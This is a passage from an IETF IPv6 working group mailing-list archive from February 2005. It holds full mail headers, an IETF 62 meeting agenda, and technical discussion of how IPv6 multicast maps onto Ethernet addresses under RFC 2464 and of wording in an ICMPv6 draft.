MAkGA1UEBhMCWkExJTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNV BAMTI1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBAgMM9tQwDQYJKoZIhvcNAQEB BQAEggEAItFFLLwTVaSAiYFFnGay6jmD928WeRyUCLHaB6KheCKctkquU8PiHQ8FUFRZ7d7yJJ4V rfnBM02H0sx9FR6dD6IC1kSfvS6FJBGV+XJRciJTLGLXtnjW6oZaArTB0PU2/3VkHDyhtBR3uiGI w9mzbBoGj8CP31Jss5TazaYDySvuSDXY0cn4J1qQpfCVHrB6GtAuWdw3jrny+IiunCNLcd4SuKC0 xQn8DX4oWkOTZ0NpimEBz5jlRKZpGziVZv1aiVoNYXKHgJNMBKXOP4UNXUaxey0U3isD/lCh7fX1 0Veo86aubS1n87CKg+No3MQ58ep1j0lRT2H5XTrGg5AFMwAAAAAAAA== --Apple-Mail-5-296061649-- --===============0781521206== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --===============0781521206==-- From ipv6-bounces@ietf.org Mon Feb 28 10:46:03 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA02356 for ; Mon, 28 Feb 2005 10:46:03 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5n6i-0001N1-Ib for ipv6-web-archive@ietf.org; Mon, 28 Feb 2005 10:46:53 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5n0x-0003HS-AE; Mon, 28 Feb 2005 10:40:55 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5n0u-0003HL-6u for ipv6@megatron.ietf.org; Mon, 28 Feb 2005 10:40:53 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA01981; Mon, 28 Feb 2005 10:40:47 -0500 (EST) Received: from pilot.jhuapl.edu ([128.244.197.23] helo=jhuapl.edu) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5n1b-0001GP-BQ; Mon, 28 Feb 2005 10:41:37 -0500 Received: from ([128.244.124.185]) by pilot.jhuapl.edu with ESMTP id KP-VXL34.13545173; Mon, 28 Feb 2005 10:40:11 -0500 Mime-Version: 1.0 (Apple Message framework v619.2) To: agenda@ietf.org Message-Id: <033a5e1120ccc5df07d6e4d355610061@innovationslab.net> From: Brian Haberman Date: Mon, 28 Feb 2005 10:40:13 -0500 X-Mailer: Apple Mail (2.619.2) X-Spam-Score: 0.0 (/) X-Scan-Signature: 2857c5c041d6c02d7181d602c22822c8 Cc: IPv6 WG , Bob Hinden Subject: IPv6 WG Agenda X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0197082717==" Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 6640e3bbe8a4d70c4469bcdcbbf0921d --===============0197082717== Content-Type: multipart/signed; micalg=sha1; boundary=Apple-Mail-9-301510887; protocol="application/pkcs7-signature" --Apple-Mail-9-301510887 Content-Type: multipart/mixed; boundary=Apple-Mail-8-301510673 --Apple-Mail-8-301510673 Content-Type: text/plain; x-unix-mode=0644; name="agenda.txt" Content-Disposition: attachment; filename=agenda.txt Content-Transfer-Encoding: 7bit Tuesday, March 8, 2005 0900-1130 --------------------------- -Scribes? - Agenda Bashing Haberman 04 Minutes - Document Status Haberman 01 Minute http://www.innovationslab.net/~brian/IETF62/IPv6/IPv6DocumentStatus.html - Addressing Architecture Update Hinden 10 Minutes Goal: Last Call Issues draft-ietf-ipv6-addr-arch-v4-01.txt - RFC2461bis Soliman 15 Minutes Goal: Open Issues draft-ietf-ipv6-rfc2461bis-xx - ND Proxy Thaler 20 Minutes Goal: Open Issues draft-ietf-ipv6-ndproxy-xx - ICMP Update Gupta 10 Minutes Goal: LC Comments draft-ietf-ipv6-icmpv3 - IAB Ad-hoc Committee Narten 15 Minutes Goal: Community Awareness - URI Syntax Fenner 15 Minutes Goal: Community Awareness draft-fenner-literal-zone-01.txt --Apple-Mail-8-301510673 Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit Comments/questions/change requests should be sent to the chairs. Regards, Brian --Apple-Mail-8-301510673-- --Apple-Mail-9-301510887 Content-Transfer-Encoding: base64 Content-Type: application/pkcs7-signature; name=smime.p7s Content-Disposition: attachment; filename=smime.p7s Content-Transfer-Encoding: base64 Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGJDCCAt0w ggJGoAMCAQICAwz21DANBgkqhkiG9w0BAQQFADBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhh d3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVt YWlsIElzc3VpbmcgQ0EwHhcNMDQwOTAxMTcxOTM4WhcNMDUwOTAxMTcxOTM4WjBKMR8wHQYDVQQD ExZUaGF3dGUgRnJlZW1haWwgTWVtYmVyMScwJQYJKoZIhvcNAQkBFhhicmlhbkBpbm5vdmF0aW9u c2xhYi5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDRogfqvQwSubSspmgfho1w Br2IRBf5DI+pvLyiFcMM7KTRomseAAznLq+OjixIzT08u0opCIB91C2fohXwqf05+NVmd3/IIrOh gQoQeFrwZdRwkmA1p6/+ivWwwyiIBBVjyIx5cdULoGi3Nl0hanW99zEHWMR7cr9YRfkhrYwyrLwF 2dUlanpDcoC+PJfimFv7Sp5Ymut3GMuvc4hrzmUBs3GhZVUbxrknxBb9C0ApLa++79wQtcrzK7Nr HkGl63vTkfCaR2HqPE53GT1NvPSQyRUMbVBmx5xzuHUlQAY/fMDOLv45qFa9Xb8XfP1Xb+chYzHX xPx4pqVTzZUnfi3RAgMBAAGjNTAzMCMGA1UdEQQcMBqBGGJyaWFuQGlubm92YXRpb25zbGFiLm5l dDAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3DQEBBAUAA4GBABHGCDHcruXemZ3lBjGb0E+TXfwILkNu UykBjSlywXfghEVSEO/cZ/0tMjrqIn1GF3GZeKecvx/aIFawl2pSUejjnLUrEE6Ro5AQs5kyZI3b ma3GPa+TMEOeXBr8Wp+HwkMAk+McfRfGNGTDIBwF+8LnQmMCPlvTYEfuUZ93AAxCMIIDPzCCAqig AwIBAgIBDTANBgkqhkiG9w0BAQUFADCB0TELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4g Q2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMRowGAYDVQQKExFUaGF3dGUgQ29uc3VsdGluZzEoMCYG A1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEkMCIGA1UEAxMbVGhhd3RlIFBl cnNvbmFsIEZyZWVtYWlsIENBMSswKQYJKoZIhvcNAQkBFhxwZXJzb25hbC1mcmVlbWFpbEB0aGF3 dGUuY29tMB4XDTAzMDcxNzAwMDAwMFoXDTEzMDcxNjIzNTk1OVowYjELMAkGA1UEBhMCWkExJTAj BgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJz b25hbCBGcmVlbWFpbCBJc3N1aW5nIENBMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEpjxV c1X7TrnKmVoeaMB1BHCd3+n/ox7svc31W/Iadr1/DDph8r9RzgHU5VAKMNcCY1osiRVwjt3J8CuF Wqo/cVbLrzwLB+fxH5E2JCoTzyvV84J3PQO+K/67GD4Hv0CAAmTXp6a7n2XRxSpUhQ9IBH+nttE8 YQRAHmQZcmC3+wIDAQABo4GUMIGRMBIGA1UdEwEB/wQIMAYBAf8CAQAwQwYDVR0fBDwwOjA4oDag NIYyaHR0cDovL2NybC50aGF3dGUuY29tL1RoYXd0ZVBlcnNvbmFsRnJlZW1haWxDQS5jcmwwCwYD VR0PBAQDAgEGMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFQcml2YXRlTGFiZWwyLTEzODANBgkq hkiG9w0BAQUFAAOBgQBIjNFQg+oLLswNo2asZw9/r6y+whehQ5aUnX9MIbj4Nh+qLZ82L8D0HFAg k3A8/a3hYWLD2ToZfoSxmRsAxRoLgnSeJVCUYsfbJ3FXJY3dqZw5jowgT2Vfldr394fWxghOrvbq NOUQGls1TXfjViF4gtwhGTXeJLHTHUb/XV9lTzGCAucwggLjAgEBMGkwYjELMAkGA1UEBhMCWkEx JTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQ ZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBAgMM9tQwCQYFKw4DAhoFAKCCAVMwGAYJKoZIhvcN AQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDUwMjI4MTU0MDEzWjAjBgkqhkiG9w0B CQQxFgQUVZkTZsGdQlwBJHmrPckp4HgABSsweAYJKwYBBAGCNxAEMWswaTBiMQswCQYDVQQGEwJa QTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3Rl IFBlcnNvbmFsIEZyZWVtYWlsIElzc3VpbmcgQ0ECAwz21DB6BgsqhkiG9w0BCRACCzFroGkwYjEL MAkGA1UEBhMCWkExJTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNV BAMTI1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBAgMM9tQwDQYJKoZIhvcNAQEB BQAEggEAB2mWoF/jS0MaMvBWVdDKHGm1pvk8H/hNvs59nmRrQaIiefSImSqVj8h1SRvImQpjTxJY QOnAbPhU7ZG2fl/xZk9PBrw8lax6lxJjsJMz7LwS6jKiipndJHWtmr8dXgP/lIdoNr2qjxb93pv3 79Eyye8ujDWwjRVmaynC1Q3NFnHQuy5pkjeERcHu+HQeFMid45aJxIgWec/CPYhow+YQVMAD4PbA 7PvmKMvaNY8EmdYv4+L3TTTvmsChaK/WYbcKBH4YpMREGTr0MS+8bce822eKx2qKK6gZxVamxE14 DTIKe+EMUJdJMaix+4S6mPpwQ9l/Mz3K/59WYulMFtB4sQAAAAAAAA== --Apple-Mail-9-301510887-- --===============0197082717== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --===============0197082717==-- From ipv6-bounces@ietf.org Mon Feb 28 13:14:31 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA18182 for ; Mon, 28 Feb 2005 13:14:31 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5pQR-00057v-Nu for ipv6-web-archive@ietf.org; Mon, 28 Feb 2005 13:15:23 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5pMv-0007Qe-8J; Mon, 28 Feb 2005 13:11:45 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5pMu-0007QZ-3K for ipv6@megatron.ietf.org; Mon, 28 Feb 2005 13:11:44 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA17746 for ; Mon, 28 Feb 2005 13:11:41 -0500 (EST) Received: from motgate8.mot.com ([129.188.136.8]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5pNg-00051I-3k for ipv6@ietf.org; Mon, 28 Feb 2005 13:12:33 -0500 Received: from il06exr01.mot.com (il06exr01.mot.com [129.188.137.131]) by motgate8.mot.com (Motorola/Motgate8) with ESMTP id j1SIDc2C003449 for ; Mon, 28 Feb 2005 11:13:38 -0700 (MST) Received: from zfr01srv02.crm.mot.com (zfr01srv02.crm.mot.com [10.161.201.8]) by il06exr01.mot.com (8.13.1/8.13.0) with ESMTP id j1SICCdE022944 for ; Mon, 28 Feb 2005 12:12:13 -0600 (CST) Received: from [10.161.201.117] (zfr01-2117.crm.mot.com [10.161.201.117]) by zfr01srv02.crm.mot.com (Postfix) with ESMTP id C93E3855023 for ; Mon, 28 Feb 2005 19:11:28 +0100 (CET) Message-ID: <42235EC9.40909@motorola.com> Date: Mon, 28 Feb 2005 19:11:21 +0100 From: Alexandru Petrescu User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2) Gecko/20040803 X-Accept-Language: en-us, en MIME-Version: 1.0 To: IPv6 WG X-Enigmail-Version: 0.89.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Spam-Score: 0.0 (/) X-Scan-Signature: cab78e1e39c4b328567edb48482b6a69 Subject: about v6 over multicast-less Ethernet X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1441934248==" Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: c0bedb65cce30976f0bf60a0a39edea4 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --===============1441934248== Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enigBAA86F14271B2BE7DBB37DDC" This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enigBAA86F14271B2BE7DBB37DDC Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hello, Anyone proposed until now to update RFC2464 "IPv6 over Ethernet Networks"? If not, I'd like to propose updating the following text: > An IPv6 packet with a multicast destination address DST, consisting > of the sixteen octets DST[1] through DST[16], is transmitted to the > Ethernet multicast address whose first two octets are the value 3333 > hexadecimal and whose last four octets are the last four octets of > DST. Not all Ethernet links/cards/drivers/firmware support this 3333 value, nor even Ethernet multicast groups. Those who don't will work fine with v4 (6 times ff) but not with v6. So some relaxing text saying "either 33:33:xx:xx:xx:xx or ff:ff:ff:ff:ff:ff" may help. I don't understand why ND is so tight to the Ethernet multicast in the first place, but anyways. How should I go about it? Thanks, Alex --------------enigBAA86F14271B2BE7DBB37DDC Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFCI17QMmC0w56zj54RArvzAKC5PA8JhGhRqIzfDhMrwX/OZWqR+wCgjx6S OzO6+0F+xZWyHW86IFDalm4= =DiFW -----END PGP SIGNATURE----- --------------enigBAA86F14271B2BE7DBB37DDC-- --===============1441934248== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --===============1441934248==-- From ipv6-bounces@ietf.org Mon Feb 28 14:33:22 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA26510 for ; Mon, 28 Feb 2005 14:33:22 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5qei-0006ui-8c for ipv6-web-archive@ietf.org; Mon, 28 Feb 2005 14:34:13 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5qdV-0003WZ-Dx; Mon, 28 Feb 2005 14:32:57 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5qdT-0003WU-Kh for ipv6@megatron.ietf.org; Mon, 28 Feb 2005 14:32:55 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA26443 for ; Mon, 28 Feb 2005 14:32:54 -0500 (EST) From: Mukesh.K.Gupta@nokia.com Received: from mgw-x4.nokia.com ([131.228.20.27]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5qeG-0006u6-D6 for ipv6@ietf.org; Mon, 28 Feb 2005 14:33:45 -0500 Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120]) by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id j1SJWvA26772; Mon, 28 Feb 2005 21:32:57 +0200 (EET) X-Scanned: Mon, 28 Feb 2005 21:45:09 +0200 Nokia Message Protector V1.3.34 2004121512 - RELEASE Received: (from root@localhost) by esdks001.ntc.nokia.com (8.12.9/8.12.9) id j1SJj9NT020276; Mon, 28 Feb 2005 21:45:09 +0200 Received: from mgw-int2.ntc.nokia.com (172.21.143.97) by esdks001.ntc.nokia.com 002ANVyC; Mon, 28 Feb 2005 21:45:09 EET Received: from daebh002.NOE.Nokia.com (daebh002.americas.nokia.com [10.241.35.122]) by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id j1SJVPU07090; Mon, 28 Feb 2005 21:31:25 +0200 (EET) Received: from daebe102.NOE.Nokia.com ([10.241.35.115]) by daebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881); Mon, 28 Feb 2005 13:31:24 -0600 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Mon, 28 Feb 2005 13:31:24 -0600 Message-ID: <2334E6CC5C1FD34F90C1167EA4EBFE5B050181@daebe102.NOE.Nokia.com> Thread-Topic: IESG Comments about ICMPv6 draft: Obsoleting 2780 Thread-Index: AcUdR/8Rg+UxE27XT1i4K5L9abvYOwAg/Czw To: X-OriginalArrivalTime: 28 Feb 2005 19:31:24.0560 (UTC) FILETIME=[16F4C100:01C51DCC] X-Spam-Score: 0.3 (/) X-Scan-Signature: de4f315c9369b71d7dd5909b42224370 Content-Transfer-Encoding: quoted-printable Cc: margaret@thingmagic.com, ipv6@ietf.org Subject: RE: IESG Comments about ICMPv6 draft: Obsoleting 2780 X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.3 (/) X-Scan-Signature: 7655788c23eb79e336f5f8ba8bce7906 Content-Transfer-Encoding: quoted-printable > Oops -=20 >=20 > This document obsoletes RFC 2463 [RFC2463] and *updates* > RFC 2780 [RFC-2780]. >=20 > With that proviso, yes! Oops ! Sorry about that :) > Okay, I'll await that. There is another thread already going on about the second comment. I would appreciate your comments to that thread too. Regards Mukesh -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Mon Feb 28 15:39:51 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA04587 for ; Mon, 28 Feb 2005 15:39:51 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5rh5-0008Jp-Dg for ipv6-web-archive@ietf.org; Mon, 28 Feb 2005 15:40:43 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5rdd-0002n9-Ql; Mon, 28 Feb 2005 15:37:09 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5rdb-0002n4-Kq for ipv6@megatron.ietf.org; Mon, 28 Feb 2005 15:37:07 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA04385 for ; Mon, 28 Feb 2005 15:37:06 -0500 (EST) Received: from stl-smtpout-01.boeing.com ([130.76.96.56]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5reM-0008Fk-TD for ipv6@ietf.org; Mon, 28 Feb 2005 15:37:58 -0500 Received: from blv-av-01.boeing.com ([192.42.227.216]) by stl-smtpout-01.boeing.com (8.9.2.MG.10092003/8.8.5-M2) with ESMTP id OAA06487; Mon, 28 Feb 2005 14:36:52 -0600 (CST) Received: from XCH-NE-05P.ne.nos.boeing.com (localhost [127.0.0.1]) by blv-av-01.boeing.com (8.11.3/8.11.3/MBS-AV-LDAP-01) with ESMTP id j1SKapI01867; Mon, 28 Feb 2005 12:36:51 -0800 (PST) Received: from XCH-NE-02.ne.nos.boeing.com ([128.225.80.202]) by XCH-NE-05P.ne.nos.boeing.com with Microsoft SMTPSVC(5.0.2195.6713); Mon, 28 Feb 2005 15:36:49 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.0.6603.0 Content-Class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Mon, 28 Feb 2005 15:36:49 -0500 Message-ID: Thread-Topic: about v6 over multicast-less Ethernet thread-index: AcUdwTSOJSfQj863QwOITScbiJXk7AAEhwlA From: "Manfredi, Albert E" To: "Alexandru Petrescu" , "IPv6 WG" X-OriginalArrivalTime: 28 Feb 2005 20:36:49.0783 (UTC) FILETIME=[3A924070:01C51DD5] X-Spam-Score: 0.0 (/) X-Scan-Signature: 39bd8f8cbb76cae18b7e23f7cf6b2b9f Content-Transfer-Encoding: quoted-printable Subject: RE: about v6 over multicast-less Ethernet X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 9ed51c9d1356100bce94f1ae4ec616a9 Content-Transfer-Encoding: quoted-printable Alexandru Petrescu wrote: > Anyone proposed until now to update RFC2464 "IPv6 over Ethernet > Networks"? If not, I'd like to propose updating the following text: >=20 > > An IPv6 packet with a multicast destination address DST, consisting=20 > > of the sixteen octets DST[1] through DST[16], is transmitted to the=20 > > Ethernet multicast address whose first two octets are the=20 > value 3333=20 > > hexadecimal and whose last four octets are the last four octets of=20 > > DST. >=20 > Not all Ethernet links/cards/drivers/firmware support this=20 > 3333 value,=20 > nor even Ethernet multicast groups. Those who don't will=20 > work fine with=20 > v4 (6 times ff) but not with v6. So some relaxing text=20 > saying "either=20 > 33:33:xx:xx:xx:xx or ff:ff:ff:ff:ff:ff" may help. >=20 > I don't understand why ND is so tight to the Ethernet=20 > multicast in the=20 > first place, but anyways. Not sure I understand the problem. For IPv4 multicast, the Ethernet address becomes 01-00-5E and the lowest = 23 bits of the IPv4 Class D address. For IPv6, 33-33 and the lowest 32 bits of the IPv6 multicast address. Don't all Ethernet cards and drivers understand the meaning of the LSbit = of the first byte (the G/I bit)? As long as that bit is set to 1, won't = all Ethernet switches know to flood the frame to all ports in the = spanning tree? Bert -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Mon Feb 28 15:46:11 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA05498 for ; Mon, 28 Feb 2005 15:46:11 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5rnC-00007W-DM for ipv6-web-archive@ietf.org; Mon, 28 Feb 2005 15:47:03 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5riX-0003SJ-9P; Mon, 28 Feb 2005 15:42:13 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5riV-0003SE-Dr for ipv6@megatron.ietf.org; Mon, 28 Feb 2005 15:42:11 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA04796 for ; Mon, 28 Feb 2005 15:42:09 -0500 (EST) Received: from blv-smtpout-01.boeing.com ([130.76.32.69]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5rjJ-0008MY-QB for ipv6@ietf.org; Mon, 28 Feb 2005 15:43:02 -0500 Received: from blv-av-01.boeing.com ([192.42.227.216]) by blv-smtpout-01.boeing.com (8.9.2.MG.10092003/8.8.5-M2) with ESMTP id MAA00757; Mon, 28 Feb 2005 12:42:01 -0800 (PST) Received: from XCH-NE-05P.ne.nos.boeing.com (localhost [127.0.0.1]) by blv-av-01.boeing.com (8.11.3/8.11.3/MBS-AV-LDAP-01) with ESMTP id j1SKg1I10677; Mon, 28 Feb 2005 12:42:01 -0800 (PST) Received: from XCH-NE-02.ne.nos.boeing.com ([128.225.80.202]) by XCH-NE-05P.ne.nos.boeing.com with Microsoft SMTPSVC(5.0.2195.6713); Mon, 28 Feb 2005 15:42:00 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.0.6603.0 Content-Class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Mon, 28 Feb 2005 15:42:00 -0500 Message-ID: Thread-Topic: about v6 over multicast-less Ethernet thread-index: AcUdwTSOJSfQj863QwOITScbiJXk7AAEhwlAAACWSMA= From: "Manfredi, Albert E" To: "Alexandru Petrescu" , "IPv6 WG" X-OriginalArrivalTime: 28 Feb 2005 20:42:00.0613 (UTC) FILETIME=[F3D72550:01C51DD5] X-Spam-Score: 0.0 (/) X-Scan-Signature: 21c69d3cfc2dd19218717dbe1d974352 Content-Transfer-Encoding: quoted-printable Subject: RE: about v6 over multicast-less Ethernet X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 0ddefe323dd869ab027dbfff7eff0465 Content-Transfer-Encoding: quoted-printable > Alexandru Petrescu wrote: >=20 > > Anyone proposed until now to update RFC2464 "IPv6 over Ethernet > > Networks"? If not, I'd like to propose updating the following text: > >=20 > > > An IPv6 packet with a multicast destination address DST,=20 > consisting=20 > > > of the sixteen octets DST[1] through DST[16], is=20 > transmitted to the=20 > > > Ethernet multicast address whose first two octets are the=20 > > value 3333=20 > > > hexadecimal and whose last four octets are the last four=20 > octets of=20 > > > DST. > >=20 > > Not all Ethernet links/cards/drivers/firmware support this=20 > > 3333 value,=20 > > nor even Ethernet multicast groups. Those who don't will=20 > > work fine with=20 > > v4 (6 times ff) but not with v6. So some relaxing text=20 > > saying "either=20 > > 33:33:xx:xx:xx:xx or ff:ff:ff:ff:ff:ff" may help. > >=20 > > I don't understand why ND is so tight to the Ethernet=20 > > multicast in the=20 > > first place, but anyways. >=20 > Not sure I understand the problem. >=20 > For IPv4 multicast, the Ethernet address becomes 01-00-5E and=20 > the lowest 23 bits of the IPv4 Class D address. >=20 > For IPv6, 33-33 and the lowest 32 bits of the IPv6 multicast address. >=20 > Don't all Ethernet cards and drivers understand the meaning=20 > of the LSbit of the first byte (the G/I bit)? As long as that=20 > bit is set to 1, won't all Ethernet switches know to flood=20 > the frame to all ports in the spanning tree? More exactly, what I meant was won't all Ethernet switches *at least* = know to flood those frames to all ports in the spanning tree, even if = they don't do anything more intelligent. Bert -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: 